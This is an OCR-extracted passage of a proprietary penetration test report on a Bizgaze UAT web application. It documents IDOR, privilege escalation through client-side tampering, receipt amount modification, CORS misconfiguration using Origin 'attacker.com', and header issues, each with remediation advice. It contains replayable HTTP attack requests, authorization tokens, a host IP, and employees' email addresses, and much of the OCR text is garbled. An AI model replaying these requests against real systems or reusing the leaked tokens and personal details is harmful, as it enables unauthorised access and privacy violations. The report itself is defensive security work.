0001, ' ‘ul022lastupdateddate 25-07-1BTDS:02-51_45132'\ul 2
tenantid)\ul002Z: 502, \ul0 created date 2-0

1.865817 0022, code Enp

u0DZZdesignationid u0022shor u

OBD \ub0Z2, " ulDZllastupdatedby’ " ull 0503130000001, "l ulo

1/0171501 ub0Z2versionguid u0022aBlacE28-082d-4557-beld-0e6£9

2491916 \u0022, 000017, '\ u0022de faultmmberid) \u0l2

2:106552350004783, :106552360000113, \ \u0022stageid’ \uld
22:105030650000003, 327540022, \u00z
ltaddressid) u00? srestricteduser’ ul

an’ ulo!

lse,\ul02Zenployesnane 2
2Zprofile \u0022:null

,\4u0022phot ourl’ \ud022:

ug uoozz, oginenabled’ \u00I2:true, ' udd
= uoo ZCstagename’ \ul ul0ZZ0nBoard"’ \u00Z22, un statusid’ \ul0
2 ub022createddate’ \ull 0o -05-23T05: 43: 31. 8658171 \ub022, | \ub022con

u00ZZ: 1065523€0000113,
. "u00ZZemailaddress’ w00 (e[ upajat
mberid) u0022:106552350004783, \ul
2 0E5513£0011708, % \ul0221atid: \ull
£74£3ab467251db4al0c33% w0022, o u00Z2
lledappid,\u002Z:105030270000041, w002

tactemailid u00ZZjoindate’ " ul0ZZ: vub0Z201/01/1901% "ud0ZZ
acosmev@exxonmobil. com' " ul0: ul0ZZcontactnu
sverified’ uO0IZZ: false, ' ‘ul0ZCmanagerid" \u00
o, w0022 u00221744198 €47
ntacticd 1DESE13E0011EES,
serid DESE12E0011685,

ul0Z unibaseid
u0oz:
ufoz;

Using the same authorization token and modifying the last three digits of the "RecordID" parameter allows
access to other users™ data, including data from the administrator’s account.



Request

Pretty Raw Hex

POST /apis/vi/unibase/platform/widgers/gecdefaulvwidger HITP/L.1
2 Host: mobil-uat.bizgaze.app

: User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; x64; rv:139.0) Gecko/20100101
Firefox/138.0

Accepu: /%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 107

Referer: https://mobil-uat.hizgaze.app/

Geoposition: null:null

Origin: https://mobil-uat.bizgaze.app

Sec-Fecch-Dest: empty

Sec-Feteh-Mode: cors

Sec-Fetch-Site: same-origin

Authorization: Basic 33527ef0-7d81-45fe-h106-4E151676£2cd

Te: trailers

1M

=R

"Installedippld":105030270000041,
"RecordId":1l0E551260011708,
"FromDate 2570373117,
"ToDate": J03/30"

PROPRIETARY

Response
Pretty  Raw  Hex  Rends n =

HTITP/1l.1 Z00 OK

Server: nginx/l.28.0

Date:- Wed, 23 Jul 2025 20-3&5:34 GMT

Content-Type: application/ison; charset=utf-8

Connection: keep-alive

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Content-Length: 14987

(
"result":
“{ "TemplateText ": %" "u003Cdiv class=" ' ul00Z7app_defaultwidget’ ud0Z7" ' ul03E"u003
Cdiv elass=" u00ZZd-flex align-items-center’ w00IZ" w003E: u003Cdiv class=" ub0ZZa
watar big-detail-avatar' ul0ZZ data-sre=' ul02Z({photourl}}  w00Z2" \w003E" u003C/d
iw' \ul03E" \ul03Cdiv' ‘ul03E" "ul03Chs class="'uld2’hiz-header-main-text’ ' ull2” id=
U0022Celumnl | u0022 "\ u002E { {enploysenans } } 1\ u003C/hE" tu003E: \u003Cp class="u0022h
iz-header-sub-text  wl0ZZ id=""u00ZZColumnl wl0IZ" u003E{(designationname}} 003
C/p " ab03E: "u003C/div’ "ul02E" "\ u003C/div, “u003E" \u003C/ div' "ab03E ", W "JIs """ " T
s0wmer' " - false, | "IsManager'":- false, " "Data.": reatedby' ub00Z2: 1050313600
00001, ul0ZZlastupdateddate’

u00zz

Ztenantid) \wu0022:503,

0E-27TO&: 56:14. 1538841 \u0022, :
pO17 7 a00Z2, " ul0ZZdesignationid 2:105032190000005, " \ul0ZZshorteods
OBD' (0022, \ul02Clastupdatedby’ (ul022: 105031360000001, "\ tul022deh ', \u00 ug
201/01/18011 w0022, | \ul022versionguid' \ul \ul022d88022eB-b2AE-4370-Baf4-591d
LH20A0LE" 022, |\ u00Z2seriesid’ \u0022: LDE030EE00000L7, \ \u0022de faultmmberid, \uld
0E552350004814, " "ul0Z2defaultemailid® ull ub0ZZstageid! ul
105020650000003, 10002 2phonemumber |\ ul02 7148835 0! ud0z2defa
ultaddressid: \ud022:0, \u0022re fstatusid) \u0022: 3 srestricteduser’ ul0l2: £
employeename’, \ulld u00Z2Admin w0022, \ul02Zpan’ \u00Z2: ol ug
hotourl' \u00Z2: u0ozz al u00ZZprofile’ \ubl0Z2 null ub0ZZecolore

0022, \ub0ZZloginenabl
u00ZZstagenams ' ul| uoo

nBoard w0022,

ul0ZZcreateddate’ \u00ZZ: " al 0e TOE:56:14.1563884% w0022, \a0022
contactemailid) \u0022: 10£552360000 u0022joindate’ \ul027: Y\ u002201 /0141901 ud
DIZZ, v al0lZemailaddress’ \ul022: \ul0Zlhugo. a. cosmefexxonmobil. com' \u00ZZ, " ul0ZZco
ntactnumberid,u00ZZ:106552250004814, \\u00ZZisverified. vul00Il: false, 00ZZmanager
id% u00ZZ:10e651360012257, "u00ZZlatid 0,4 ul00Zlunibaseid’ «u00Z2: % wu002Z%a7

4571df87a45 aaEE1835e8565bade’, \u002z,
w0022 105020270000041, ' ud

mtactid! ul022: L0ES51360011708, ) \ul0

10£5512€0011708, "\ud0

installedappid Suserid’ ulld

2managername’ \u0022:\\u0022PID | \u0022,) \ud022designationnane’ \ud u00Z2Admin
0022, ' ul02Zewployeeid 1 u0022: 10855136001170€, \ w002 Zenployeeid, \u0022: L0561

360011708, ulDZZemployeeid 2" \ul0 LlDESS51360011708, udo k_id) \u0022: 108551360

DL1708}1", " TsFilePath' ":null, "AppConfigurationsi": []," "Stages’": [{ "StageIndex

":1,% *Description) "\ "\ ", "ColorCode\ "\ "eyan\ "
sId'":105030E60000001, " "InstalledAppId, ": 105020270000041,

"ShortCode'\":\"PRE",\ "StageStatu
"StageId:":1050306500000

0L, \"WiewAll'":true, "' "Changedll’"-true "SuccessPercentage . ":-0,\ "ReasonMandatory" "
20, "IsForward\": false, "IsBackward:": false, ! "IsDefault! ":ttue, ) "ScagelUpdatedTable
":null,) "ReasonId:":0,) "Reason)":null,) "StageRoles'":null,\"StageStatusName|":\"P

reSelection' ", | "RefStacusIdi":1, "IsSystemGenerated’ ": false, | "AppKeyId' ": 105020100
000040, \"FormId:.":0," "FormName' ":null, \"DefaultDocTypeld . ":105031560000002, \"DocTy
peTablelName’": | "bizgazecrm employees' ", "FormUniqueTd!":null, " Id\":0,)"DefaultFo
rAll\":false,\"IsConclusive": false,  "OverDue\": 0, "EnableBackwardStage) " true, )"
_TableName'":' "ww unibase_stageinfo'", "0001-01-01T00: 00=004 ", "Cx
eatedBy' ":0, " "LastUpdatedBy'"-0, " "LastUpdatedDate'":- " "0001-01-01T0O0-00: 004", " at
usId'": 1,4 "ScatusName’ " ;null, | "TenantId’ ": 502, "TenantName' " -mull, " "VersionGuid’':

CreatedDate

The ID-based access was found to be used in multiple areas of the application.

Implication:

May compromise all the data that can be referenced by the parameter. Unless object references are
unpredictable, it’s easy for an attacker to access all available data of that type.

Recommendation:

Use per user or session indirect object references. This prevents attackers from directly targeting
unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six
resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user
selected. The application has to map the per-user indirect reference back to the actual database key on the

Server.

Check access. Each use of a direct object reference from an untrusted source must include an access control
check to ensure the user is authorized for the requested object.

Additional Tester Input:



PROPRIETARY
Reference:

CWE-639
Defect ID: 67353

9. Lack of Access Authorization | Score: Medium

Description:

While assessing the application, a vulnerability was found relating to the mismanagement of permissions,
privileges and other security features that are used to perform access control.

Instance:

R [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 -
Vuat.bizgaze.app , T ,




PROPRIETARY
Details:

The web application does not enforce proper access authorization controls, allowing restricted actions with
a low-privileged token.

The following screenshot shows the authorization token of a distributor.

| Proxy https://mobil-uat.bizgaze.app JAccount/ValidateAndLogin 200
(n
Request Response
Pretty Raw Hex & \n = Pretty Raw Hex Render = n =
POST fAccount/ValidateAndlogin HTTP/L.1 HTTP/1.1 200 0K

2 Host: mokil-uat. hizgaze.app
3 Cookie: _idtyD=; _idoyl=; _cnames=

Server: nginx/1.28.0

Date: Wed, 232 Jul 2025 I23:33:05 GMT
Content-Length: 94 Content-Type: applicationsjson; charset=utf-8
Sec—-Ch-Ua-Platform: "Windows"
¢ Accept-Language: es-ES,es;g=0.9

W e

Comnection: keep-alive
Access-Control-Allow-Origim: *

LY

Acoept: */F* 7 WVary: Accept-Encoding
Sec-Ch-Ua: "Not)A;Brand";w="8", "Chromium";w="138" 2 Content-Length: 3I2E5Z
= Content-Type: application/json g
1 Sec—-Ch-Ta-Mokile: 70 10 £
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; "status":- 1

x54) AppleWebEit /537_3& (FHTML, like Gecko) "segsions":null,
Chrome/128.0.0.0 Safari/537.2E "currentSession": |
12 Origin: https: //mobil-uat _bhizga=ze. app "nmame":"DSRE",
12 Sec-Fetch-Site: same-origin "userId":108551360011E6E5,
14 Sec-Fetch-Mode: cors "tenantId": 503,
1= Sec-Fetch-Dest: empty "parentUserId":0,
1& Referer: https://mobil-uat_bkizgaze.app/ "languageId":0,
17 Accept-Encoding: gsip, deflate, br "dateFormat":null,
12 Priocricy: u=l, i "cimeZone":-0,
1z Commection: keesp-alive "sourceld":-0,
20 "unibaseId":"1744198£f4d7£74£3ab457251db4aldc33",
2T |4 "sessionId":"2f585a47-4655-43aa-8744-5h88cafleSdI"
"UserName" : "hacosmev@exxonmohil com",

"

"Password":"Password" "ighdmin":false,
"UnibaseId" el "latd"-null,
"RememberMe": false "lgld":null,

3 "secDataEnabled": false,

"iphAddress" null,
"dewiceld":10503023000000Z2,
"isRestrictedUser": false,
"photoelUrl" -null,
"appUrl":null,

For instance, it is possible to modify the amount of a receipt. The following screenshot shows the view of an
existing receipt.



- Hari Motors
Receipt Mo < 0724095724560 Payment Amt - T 17000
Details  Activity
0.00 < 17000 -
Credits Clearance

Transaction Details

Adrmin
i
Fayment Summary
Mods/Ref Mo Made Ledger
Cash (123456) Cash cash Ledger

PROPRIETARY

T LI T -

| Confirm | Relleposite “E
0.00

Dua

21/07/2025

NA

Amount

17000

Using the distributor token, it is possible to change the total amount adjusting the highlighted parameters.

Request

Pretty Raw Hex

POST /fapis/vé/unibase/platform/forms/savedynform/1l05031850000307 HITR/L. 1
Host: mobil-uat.bizgaze.app

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =E4; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */¥%

Aecept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

Content-Length: 1804

Peferer: https://mobil-uat.bizgaze.app/

Geoposition: null:null

Origin: https://mobil-uat.bizgaze.app

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Authorization: Basic [£585a40-4659-43aa-0744-9b88catleddn

Pricrity: u=0

Te: trailers

{"lobid lobname":"0", "paymentaccountid ledgername":"0", "currencyid currencyname":"0",
paymentid":"10E553250002350", "journalid' 10E552250002390", "journalno" :

* "decimalpoints "refno 173456","firstledgerid": "10E552770000445",
"secondledgerid":"105032770000001 issystengenerated": "False","journalstatusid":"1", "branchid":
"10S032030003413", "paymenttypeid” : "1", "tempiournalne® s " #0774095724560" , "advanceanount " : " 16000"
'paymentstatusid':"1", "stageid":"105030650000030" ,"totalamount”: "LEDOD", "paymentamount " "LEOOD",

“journal paymentmodeid":"1", 6 "refdate":"01/01/1500 00:00:00","seriesid":"10503056000015L1", "paymentnodeid”: "1",
"journal_ seriesid":"1050305£0000151", "payment contactid":"108551380011571", "payment_orgcontactid":
"10E551360011S7L" , "remoteid" L'templateid" 105032850000009", "chequeno " "bankid »"hankre fno"
"hankrefdate":"01/01/1500 00:00:00", "hankbranch":"" "duedays":"0","journalallocid":"10£553320002503",
"alloe_journalid":"10E5532500 S0 code":"§07240S5 Se0","conversionratedifference e By
L'refid"-"0" , "discountaccountid": ,'discountamount”": 0", "houncecharges":"0", "contactid":"1065513600115872",
"journaldate":"Z02Z5/07/21", "conversionrate": "1", "currencyid": "0", "PaymentEntries": [{"PaymentModeId": 1, "Re flo"
:"1234E5E"  "LedgerId":105022770000001, "RefDate 2025-07-22", "Chequello":""  "ChequeDate": "2025-07-24" ,"BankId":
0, "BankBranch": "', "PaymentAmount " : 20000, "JournalEntryId":0, "DiscountAccountId”: 0, "PenalityAccountId®: 0,
"TDSAccountId":0, "ForeingExchangeAccount”:0}], "paymentaccountid”:-"105032770000001" , "1lobid" 0503ZZ&0000001",
"Wallets":[{"JournalAllocId":0, "LedgerId": 108551360011972, "Credit": 20000, "RefAllocId" 0, "AllocType": 3,
"AllocTypeld":2}],"Dues": [],"notes": "testing description O1"}

"econtactid ergoontactname’: D"
"#0774095774960", "Journaltypeid”:

Response

Pretty Raw Hex Render

HTTP/1.1 200 0K

Server: nginx/l.28.0

Dace: Thu, 24 Jul 2025 D5:4&:16 GMI
Content-Type: application/json; charset=utf-g8
Connertion: keep-alive
Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Content-Length: 139

1
‘result":"10E553790002390",
"eode": 0",
"mecsage": "Receipt Saved Successfully”,
"serviceName":null,
"totalRecords":0
1



ari Motors PROPRIETARY

€ Receipt No: #0724095724960 Payment Amt: € 20000 R
Activity | Conftim | | |8 |
Credits Clearance Diie
Transaction Details
_reated By Admin 21/07/2025
nad Cate (Y siected [ate MA
Payment Summary
Mode/Ref No Mode Ledger Amount
Cash [123456) Cash cash Ledger 20000
In addition, the price list can be accessed using the distributor’s token.
5] MTEST Py Lad ® | F - = & ]
o8 _blzgaze.app,
MTEST Pyt Ltd &
10-01-2025 & Admin
€ oz
Comments  Activity & Manage Devices

Details
Frio@ ffective Dat ¥ i Portal
- a0 5 1 M,
10-01-2025 T
Price List lems
Q search
Itemn Marmie (SKL) MRP List Prce Purchase Price ASE Purtospare Part 2w PurPiice Test
MADRIL RARLS SHC 1025, 5GA PAIL (134546) o o i 100 140 0
SACEIL 1 ESP FORMULA SW-30 GSP4%4L L
e s . N
SEE {134637) o 0 ) 36
SH0RIL DTE 10 EXCEL 46, 200 PA (134907 1038 05 T ] (i} H 282 0

BA0ORIL DTE 10 EXCEL 68, 201 DR (134908) o 286 o o ] 258 ]




Request
Pretly Faw Hex
GET
sapingrdibizgaze/tranvact price lint w/price Liv SEamn /il I0ES 52T LIDOO00S ) page /07 cenee /L0 quemsydnal
RITEAL L
3 Hest: mehil awp
Usee—hgent: Windows T 10005 Vingd: x84;

Apcapr. #rs

—upk . blarane. apps
Logjison

; saes-arigin

13 Auchoxigaclon: Basle ZE695a42-065858-433a-0744-8hEBratleddl
Te: crallers

cnmction: k

al

It is also possible to access document information from administrators in the same way.

1t bizoaze app

501503143699
LLIB/01 6672324

ity

FriLl3S.00 CoeliofI0LDOLOL Flrefow L

.0

Havi Hex :
Zon oE
nginafl 5.0
Tul
SEpLLs
Comneetion: hesp-alive
Vary. Aecepr-Bncodliag
Content-Lengeh: 243%

15:29:47 GKT

onyFon; charses=ane-9

PROPRIETARY
B n =

*skatas" 0,
"RrEoIE:
*ertallecordy' 0

MTEST Pvt Ltd

@ Pt — Moailla Fefax

Mode: Road

TypeO-Supply

Approx Distance-31

Documment
Dretacle: LUBA0160:23-54- 200082023

oM + blzgazeapp Bg %
E-Way Bill System
Gavwrnmest of India
= WayBil
| Part A
ILE-Way Bill Detadls:
eWay Bill I Crenerated Vallid Upso:2302023 11:50:00
No:301503143699 et DRl By-33AAACG2SI9DNZT P

2 Address Details:

Fram.

GST Mo | MAAACGISISDIZY
MTEST P Lod

2148, Geousd Flovs, Kamasaar Strees
Seneerkuprpam, Tamil Nadu - 600035

Adqunachalam Nagas, Avad: Road,

To.

[asTre. 1IDEGENGS B3I TR
| KALINDEE INFRATE CH TNDHA FRIVATE LIMITED
6104 VENGADAMANGALAM MAIN ROAD EANDIGALChetais - 600127
Chenm [bdadras (TN}, 600327
| Tanil Mads, Code : 33

=
i
s

& Admin

&% Manage Devices

B My Support Tickets

@ K8 Portal

@ Logaff

Active

22/05/2003 072704
Frederick MNoal
22/05/2003 072704

Frederick Moef



Requrest iiuriid PROPRIETARY

Preity,  Raw  Hex B v o= | pety  Rew  Hew  Rerde B w =
€8T fapis/vd/BiogansfTrancier fevayblll/gecpe incerayblll fouayhilll d/105033260000568 BEITP 1.1
Huxt - mobal-uss bizgaze. app
Oawr-hgmot: Hozilla/5. 0 (Windows NT 10.0; Winfé; séd, rv-L135 0) Geckos/20100101 FizefoxyLl35 0

t & e
A

agine/l. 8.0
w, 24 Jol 2025 06:41:09 CHT
2 oms charset-uti-§

£ Comnectiom: Xeap-
Tagy: Aeoept-Er

Lameniage: an-U5, enzqel. &

10 Seo-Fatoh-Dests enpoy
Suo-Berel-Mode: cors
L2 Ees-PeTok-gite came-origln
n

This behavior is present throughout the application.

Implication:

If misconfigurations and mismanagement of access controls are present in an application, the risk of
violating segregation of duties and allowing unauthorized access to restricted access is increased.

Recommendation:

Follow the principle of least privileges when assigning access rights within the application.

Additional Tester Input:

Reference:

CWE: 264
Defect ID: 67355

10. Bypass Client-side Protection Mechanism |

Description:

When the server relies on protection mechanisms placed on the client side, an attacker can modify the
client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions
between the client and server. The consequences will vary, depending on what the mechanisms are trying
to protect.



PROPRIETARY
Instance:

WL HostName | ___IPAddress

https://mobil- 3 172.105.61.152 -
uat.bizgaze.app ‘ -




PROPRIETARY
Details:

Distributors are able to bypass client side protections and use javascript handlers to trigger restricted
actions. The risk is mitigated by the fact that the form identifiers are not so easy to guess.

For instance, it is possible to escalate privileges from a distributor account. The original role is shown below.

O 3 D B mobil-uit blzgaze app) ¥ we B 5y v s 00 Fn

MTEST Pvt Ltd

& DSR & DSR
Eales Represantative
Fa Manage Dovices
Cuwerview  Contacts  Access Control  Docurments  (Ofical oo Manage Devices
B My Support Tickets
Roles QKB Portal
2 3 R)
Sales RepresentativeDSH) & Logaff

oreole O Cebugger T4 Metsoek () St Eftor () Performarce 0 Memosy B Storage W Accessibetiny 5 application

SASREEOIITLS, 16Ga5RI00e0E142 | on-wrap ol clase="fa fa-

Adding the previous HTML code allows a button to be added for creating a new role.

| &

DSR
@
f Sales Representative OnBoard +

Clveryiew Contacts Access Control Documents Ciffical

Roles °

{Creata Role

Sales Representative(DSR)

—

ebugger T Network () Stele Bditor €Y Performarce {F Memary B Storage T Accessitility 58 application O ] -
+ # B Rules layout

-~

R - N "
bov ds + W Q@

It is then possible to continue using the functionality.



5]  MTEST Put Ld x [ o _ PROPRIETARY
0O < C O 8 mobil-uat.bizgaze.app/#/welcome B < @ B gﬁ g =
Add Roles

Search

a Sales Manager(DSM)
-l Accounts Executive(AEC)
= Accounts Manager(ACM)

Sales Representative(DSR)

(<]

Admin(ADM)

Tatal : 16 - of 22
At Prev || 2 3 o 5 1 Next

M
=
=)
=
Mo
I

l. Close ‘
O B mobil-uat. bizgaze.app/#/welcome

DSR

Sales Representative

The administrator role is successfully added, granting elevated privileges.



PROPRIETARY

MTEST Pvt Ltd 01/04/2025 - 31/

DSR & DSR

Sales Representative

a e
Overview Contacts Access Control Documents Offical e Manage Devices

B My Support Tickets
Designation
QKB Portal

Designation
¢ Logoff
Roles
Sales Representative(DSR)

Admin{ADM)

Implication:
Attacker can intercept the request and modify the value to bypass the client-side control.

Recommendation:

Implement the security controls on the server-side as well.

Additional Tester Input:

Reference:

CWE-602
Defect ID: 67356

11. Information Disclosure - Server Version Headers | Score:
Low

Description:

The HTTP Response header unnecessarily discloses version information about the server, middleware
components and/or application platform framework.



PROPRIETARY
Instance:

| URL______ [ HostName | __IPAddress

|https //mobiltest.bizgaze. app| | | |

Details:

The web application return responses that include server headers. These headers can offer an attacker
insight into what technologies and versions are in use by the application.

Request Response
Pretty  Raw  Hex » M = | pretty Raw  Hex  Render

GET / HTITP/1.1 1 HTTP/1.1 200 OK

Host: mobil-uat.bizgaze.app 2 Server: nginx/1.TH.

Cookie: _cnames= 3 Date: Mon, 21 Jul 2025 1E:47:41 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4; rv:139.0) Gecko/Z0100101 4 Content-Type: text/html
Firefox/135.0 5

5 Accept: text/html,application/xhtml+txml, application/xml;q=0.9, %/*;q=0.8 €

£ Accept-language: en-US,en;g=0.5 7

:z Connection: keep-alive
: Accept-Ranges: bytes
ETag: "ldbeadaldflb4a3”

7 Accept-Encoding: gzip, deflate, br 2 Last-Modified: Tue, 01 Jul 2025 05:3&6:12 GMT

¢ Upgrade-Insecure-Requests: 1 = Vary: Accept-Encoding

5 Sec-Fetch-Dest: document 10 Content-Length: I3I03
10 Sec-Fetch-Mode: navigate 11
11 Sec-Fecch-Site: none 12 | <!/DOCTYPE hoal>
12 Sec-Fetch-User: 2?1 12 <html class="app">
13 Priericy: u=0, i 14 <head>
14 Pragma: no-cache 15 <msta charset="utf-g" />
15 Cache-Control: no-cache 1€ “meta name="viewport" content="width=device-width,
1£ Te: trailers maximum-scale=1" />
17 Connection: keep-alive 17 “title>
1 Bizgaze

</title>
B caner < |- Follow redirectisn Target: nitpymobir ustbirgaeagp P
(=]

Request Response

Pretty  Raw  Hew @ W S metly Rew  Ha  fende =]
| FOST Japis/wd/umibasesplac formd analyc ios/repercinte HTTRF/L 1 i “'IT;(I i1 0L Moved Fermanently

: Host! mobll-uat Blagage. app 1 Server: ngines/l ZE. 0

User—hgunt: Moxilla/S 0 (Windews NT 10.0; Wanfd; €d; cvi 135 01 CackosZ0100000 Firmfox/l¥S5 0 Daba: Wed. 23 Jul S025 22:21:00 GHT

4 Accapk: */* 4 Contenk-Typs: Etext/heml

2 Avewps-Langaage: an-US sn:qe0. 6 £ Contenc=Length: 1&8

§ Accept-Encoding: goap, detlace, Br £ Commection: kesp-alive

7 Cunkenc-Type: applicacion/jsom
Contenc-Lengeh: JBE
Bafwrer: bBrips:/fmabil-ue bizgase. app/ <teals

7 Locacion: MEcps://mobil-uas. bigane app/apis/vi unibase/plac fors/analysios/ Teporcinte

Geoponsticn: mullimall i “bimace
11 Origimc hoepes S /mobil-uac . Bizgazs. app aefzjee
11 Esc-Farch-Dest: smprey 0L Mowed Fermanene by
11 Sec-Ferch-Mode: cors cfrieles
4 Bec-Fetch-5ive. same-origin i/heails
11 Mukhed lan: Basie didcneSd-c220- dbbA-0354-14dd T 117878 i <bedyr

s 15 ssankazs
17 | BennESEAAT BATRIALIY <hi=
301 Mowed Permananc iy
| «/his
" Repozeld?: LOEOIOSEOAI0 14D, feente
“pageil, shi»
"pageSize” b, Acenkers
“FLLESTT L painasi o0
& FeamTar>
“FLlEssTd® 0, L «Flalyr
“ input Faraastere®: | 15 wimtmis
i
“Ray":*ratid”

“Talua®™: " 105551 IEOUALITET

“Expop*

Implication:
Version disclosures provide an opportunity for an attacker to tailor attacks based on known attack vectors.
Recommendation:

Version headers in the HTTP response are commonly part of the default configuration of applications and
servers. Modify the configuration to remove this information.



PROPRIETARY
Additional Tester Input:

Reference:

CWE: 215
Defect ID: 67331

12. Insufficient Origin Validation | Score: Low

Description:

An Origin validation error occurs when applications do not properly authorize an origin of request. As
background reference, JavaScript executing in a web browser in one HTTP document, www.example.com,
cannot access the document on www.example2.com as the domains are different and violates the browsers
Same Origin Policy.

https://en.wikipedia.org/wiki/Same-origin_policy

Modern web browsers commonly provide native extensions to the JavaScript Document Object Model
(DOM) in the form of Cross-Origin Resource Sharing (CORS) and Web Sockets that have their Origin or
Cross-Domain Security Policies. When these cross-domain network APIs are utilized, the browser includes
the HTTP Origin Request Header to indicate to the application the Origin of the request. Incumbent upon
the application is the performance of Origin validation to determine if the Origin of the cross-domain
request is authorized to access the application resources.

Insufficient, or broken, validation of the Origin Request Header provides no restrictions on cross-domain
requests. Applications leveraging the capabilities of CORS and Web Sockets must enforce validation checks
on the value of the Origin header to minimize the threat of attack from malicious web applications that a
user may inadvertently visit.

Instance:

WL | HostName | ___IPAddress

https://mobil- ) 172.105.61.152 -
uat.bizgaze.app S




Details:

PROPRIETARY

The web application accepts requests from third party origins. This increases the risk of various attacks

including information disclosure to malicious sites.

Request

Pretty Raw Hex L] n =
1 POST /apis/vd4/unibase/placform/analytics/reportinfo
HTTP/1.1

Host: mobil-uat._bizgaze. app

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4;
rv:139.0) Gecko/Z0l0010l1 Firefox/135.0

4 Accept: */*

= Accept-Language: en-US,en;q=0.5

£ Accept-Encoding: gzip, deflate, br

7 Content-Type: application/jscn
Authorization: Basic
TeléafEf-d573-4cBf-%ebB8-TeE05 b3l

s Geoposition: null:null
Content-Length: 23&

11 Referer: https://mobil-uat.bizgaze.app/

12 Sec-Fetch-Dest: empty

13 Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Te: trailers

1€ Comnection: keep-alive

17 Origin: attacker.com

"ReporcId":10£55098000153Z2,
‘page’:1,

"pageSize":5,

*Filcexr®: [

1,

"FilterlId":0,
"InputParameters": |

A

"SearchTerm":null,
"DateFilter": |

1,
"DisplayModeTypeld”:1,
"FromDate":"",
"ToDate":"",
"IsPortletWidget": false,
"IsShowAll": false,
"SortColumn®:""

Implication:

Response

Pretty

1

Mok b

1m

Raw Hex Render n =

HITP/1.1 200 OK
Server: nginx/1.28.0

Date:

Mon, 21 Jul 2025 18:19:09 GMT

Content-Type: application/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: *

Vary:

Accept-Encoding

Content-Length: 24307

{

"result”:

"{\"ReportInfo'":(\"Reportld\":1l0655058000153Z," " "Reportlia

me' ": "Month Wise Estimates'\", | "DisplayName'":" "Month Wis

e Estimates\", "ConnectedApps’ ":null, \"Description’":mall
"GroupName' ": "\ "InternalGroup\", \"ReportTypeld \":Z," "Rep

ortGroupld)":105030940000011, \"DatalistTypeld\":1," \"Datas
ourceld.":1, "DacaListId\":106551440003137, \ "DatalistHame
":\"Estimates Dashboard Datalist_rpt988"",\"QueryString
AV L\ "ReplaceQuerySering\ ' \"\" ,\"IsWhere\": false,\"Re
portluery "SortColumns' ":\"[{\\uD0ZZName" 'u002Z:
wl0Z2Zyear'\\ul0Z2Z, \\uD0Z20rder\ \uODZZ: w00ZZAsc\\u00ZZ),
{V ud0Z22Name" "ud0ZZ: ul02Zmonthno ' "\ul02Z, " \ubl0Z220rder’ 'u

0DZ2Z2: %\ \ub02ZAsc'u00Z2)]1\", \"IsInternalPeport'":true,\"Pa
rameters’ ":null, \"ChartTypeld\.":1, \"TopRecords \":0,""Inecl
leki\":\"\V A"StaticFilter\":\" (Vw0022 condition’ \w0022:
ul0ZZAND Y \ul0022, \ \ul022rules’ \ul0Z2: [ {\ Yubd022id" vu0022-

ul0ZZestimatetypeid’ "wl0ZZ, "\ ul0ZZfield" "ub0ZZ: "\ "ubl0ZZest
imatetypeid' ‘w0022, "ul0ZZtype' "u00ZZ:" 'ul0ZZinteger' \ull
22, \al02Zinput ' \ul0Z2: '\ \ul0ZIselect’ \ul0DZ2, | \ulDIZoperat
ori \ab02Z: Vw002 lequal \ w0022, \ \u00ZZvalue  \n00Z2: 7}, (\\un
00ZZcondition’ "\u00ZZ: \\uD02ZZAND" "ul0ZZ, " \vul0ZZrules' " ul0Z
S (W va002Z24d \ub0Z2: Viub022retstatusid) " a0022, Vval0Z2fie
1d\viva00z=z udDZZrefstatusid’ "u00ZZ, " ulDZZevype" "ub0ZZ
ul0ZZinteger’ \wl0DZZ, "\ "ul0ZZinput ' u00II:" ' ul0Zlselect’ ‘uld
0ZZ,%"\u00ZZoperator’ \u0DZZ u00ZZequal’ \ud0ZZ, \\ul0ZZval
ue alB22:7), (VivadD22id \ \al0Z2: Va2 2retstatusidl WaulD22,
ulDZZfield "\ wODIZ:\\ul0ZZrefstatusid’ "ul0IZ, " \ubDO0ZZtype
w00Z2: \VulDZZinteger '\ "u00ZZ, \\ul0ZZinput\ \al0Z2: % 5ab0Z2
select’  \ul0ZZ, "\ \ulDZZoperator' '\ ulDIZ: ulDZ2Zequal’ "ulD ;
u0DZ2Zvalue' \w0022:8)}]1}1, " \u00ZZvalid’ \u0022:czrue} " ,\"U

niseTd . ": \"Riagane DPlatform Analveic=z Nenarcs MonthWize®

Rogue web pages and malicious domains may force a visiting user to interact with the application in
unauthorized ways. This can lead to the exploitation of known vulnerabilities, Cross-Site Request Forgery,
denial of service attacks, loss of confidentiality and integrity of data.



PROPRIETARY
Recommendation:

Validate the Origin header before authorizing access to the web resource. The following is an example of
the Origin Request Header:

Origin: http://www.example.com

Ensure the entire Origin value of the request header is validated using an absolute string match or Regex
pattern match delimiters such as * for start of string and $ for end of string. For example,
Request.Headers["Origin"] == "http://www.example.com"

Or

Regex regex = new Regex(@"http://www.example.com/");

if (regex.IsMatch(Request.Headers["Origin"].ToLower()))

// process request;

Insufficient pattern matching can result in a bypass of the validation logic by attackers from a domain such
as http://www.example.com.evilsite.com.

Additionally for CORS, upon validation, the application must provide directives to the browser to allow/deny
access to these resources via the Access-Control-Allow-Origin response header. Other granular response

headers may be required: https://developer.mozilla.org/en-
US/docs/Web/HTTP/Access_control_CORS#The_HTTP_response_headers

Additional Tester Input:

Reference:

CWE: 346
Defect ID: 67338

13. Missing HTTP Security Response Headers | Score: Low



PROPRIETARY
Description:

HTTP response headers which are used to enhance the security posture of the application were not used.

The Strict-Transport-Security HTTP header is used to instruct the browser to only access a web application
over a secure connection and for how long to remember this restriction (twelve months is recommended),
